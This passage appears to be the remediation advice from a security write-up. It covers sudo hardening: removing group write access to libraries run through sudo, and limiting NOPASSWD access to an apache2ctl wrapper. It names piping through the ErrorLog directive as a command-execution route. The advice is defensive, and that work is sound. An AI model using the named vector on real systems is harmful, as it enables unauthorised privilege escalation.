/opt/scripts) and their sub-modules. Theadminsgroup should not have write permissions to libraries executed via sudo by other users. - Audit Sudo Configurations: Limit NOPASSWD access to binaries like
safeapache2ctlthat accept arbitrary configuration files. Thoroughly validate allowed directives to block command-execution vectors such as piping viaErrorLog.






















